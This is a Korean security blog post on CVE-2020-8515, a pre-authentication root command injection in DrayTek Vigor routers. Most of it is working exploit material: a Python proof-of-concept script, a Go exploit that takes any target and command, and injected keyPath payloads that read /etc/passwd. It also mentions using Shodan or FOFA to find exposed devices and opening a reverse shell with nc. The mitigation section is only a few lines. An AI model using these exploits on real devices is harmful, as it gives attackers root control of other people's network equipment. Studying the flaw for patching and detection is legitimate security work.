1. 개념
DrayTek은 대만에서 운영하는 방화벽, VPN 장치, 라우터 및 무선 LAN 장치를 포함한 광대역 CPE 제조업체이다.
2. 취약점 설명
cgi-bin/mainfunction.cgi 로 요청할 경우 URI에서 쉘 메타 문자 올바르게 처리하지 못해 해당 취약점이 발생한다.
원격 공격자는 이 취약점을 이용하여 특수 요청을 전송하고 root 권한으로 임의의 명령을 실행(RCE)할 수 있다.
최신 펌웨어가 설치되어있지 않은 DrayTek 스위치, Vigor 2960, 3900, 300B 디바이스 등이 해당 공격에 영향을 받는다.
Shodan, FOFA를 통해 해당 기기를 검색해보면 전 세계에서 Vigor 2960이 현재 사용 중인 것을 확인할 수 있다.
3. PoC(Proof of Concept)
1) 로그인 수행
사용자 이름과 암호를 입력하고 로그인을 클릭한 후 Burpsuite를 이용하여 패킷을 확인하고 Request Payload를 확인한다.
Request Payload를 확인해보면 cgi-bin/mainfunction.cgi를 POST로 전송하고 action, keyPath, loginUser, loginPwd 등의 매개변수가 포함되어 전송되는 것을 확인할 수 있다.
이중 mainfunction.cgi 안에있는 keyPath 매개변수를 이용하여 RCE 취약점 공격을 수행한다.
1.1) Payload
action=login&keyPath=C38898E37D8CE334EE65BB8B8C3F8E&loginUser=ZUhrZORtcqP1JzFlocwZtspP5nz5fIvm+dvBOb X2xR7Se9p2zwtPpFunKJHgfGK/SLz1RM3O7CCfcyxyK0GTGw==&loginPwd=bzHRjdb9mxyqeiFnJGM1OzoXNuHUOiLzb5 mj31thFPErKzKOe7lHWzYcCBRG+sgxN4pyo1DU252f8CMcRBhsGA==&formcaptcha=bnVsbA==&rtick=null |
2) 변경된 keyPath 매개변수 전송
2.1) 파일 생성
직접 생성한 키 경로를 지정한 실행 파일을 생성한다.
#Draytak_draytak_RCE.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import socket
import time
import logging
import random
import string
import sys
import time
import urlparse
from pocsuite.api.utils import randomStr
def run_cmd(url,cmd):
try:
headers = {
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
}
url = url + "/cgi-bin/mainfunction.cgi"
print(url)
data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
print(data)
res = requests.post(url=url, data=data, timeout=(10, 15), headers=headers)
print(res.text)
if res.status_code == 200:
print(res.text)
#return res.text
else:
print("404")
except Exception as e:
print(e)
def verify(url):
host = urlparse.urlparse(url).hostname
port = urlparse.urlparse(url).port
scheme = urlparse.urlparse(url).scheme
if port is None:
port = "80"
else:
port = str(port)
if "https" == scheme:
url = "%s://%s" % (scheme, host)
else:
url = "%s://%s:%s" % (scheme, host, port)
print('url::::'+url)
flag = randomStr(10)
check = run_cmd(url,"ls")
print(flag,check)
def main():
# Victim URL
url = ""
# Excute Command
cmd = ""
verify(url)
if __name__=='__main__':
main()
2.2) 파일 실행
파일을 실행한 후 RCE 공격이 성공했는지 확인하기 위해 wget 명령어를 사용하여 /etc/passwd를 출력한다.
/etc/passwd 파일 안의 내용이 정상적으로 출력되는 것을 확인할 수 있다.
해당 공격을 통해 명령어 압축 파일인 busybox를 라우터에 업로드하거나 nc 명령어를 통해 Reverse Shell를 실행할 수 있다.
4. 대응 방안
최신 펌웨어로 업데이트한다.
필요하지 않은 경우 라우터에서 원격 액세스를 비활성화한다.
업데이트 된 Payload에는 keypath 매개 변수가 없으며, loginUser 및 loginPwd도 매개 변수도 변경된 것을 확인할 수 있다. 또한 해당 전송이 암호화된다.
5. 기타 참고 Exploit Code
/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 - 0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
*/
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)
func usage() {
fmt.Println("CVE-2020-8515 exploit by @0xsha ")
fmt.Println("Usage : " + os.Args[0] + " URL " + "command" )
fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" )
}
func main() {
if len(os.Args) < 3 {
usage()
os.Exit(-1)
}
targetUrl := os.Args[1]
//cmd := "cat /etc/passwd"
cmd := os.Args[2]
// payload preparation
vulnerableFile := "/cgi-bin/mainfunction.cgi"
// specially crafted CMD
// action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
payload :=`'
/bin/sh -c 'CMD'
'`
payload = strings.ReplaceAll(payload,"CMD", cmd)
bypass := strings.ReplaceAll(payload," ", "${IFS}")
//PostForm call url encoder internally
resp, err := http.PostForm(targetUrl+vulnerableFile ,
url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} })
if err != nil{
fmt.Println("error connecting host")
os.Exit(-1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil{
fmt.Println("error reading data")
os.Exit(-1)
}
fmt.Println(string(body))
}
[참고]
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Netgear_WGR614v10 Authentication bypass Vulnerability (CVE-2017-5521) (0) | 2020.10.04 |
---|---|
NetGear_DGN2200 ping.cgi RCE Vulnerability (CVE-2017-6077) (0) | 2020.10.03 |
Netlink GPON RCE Vulnerability (CVE-2018-10562) (4) | 2020.10.01 |
Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173) (0) | 2020.07.16 |
BIG IP F5 TMUI RCE Vulnerability (CVE-2020-5902) (3) | 2020.07.08 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊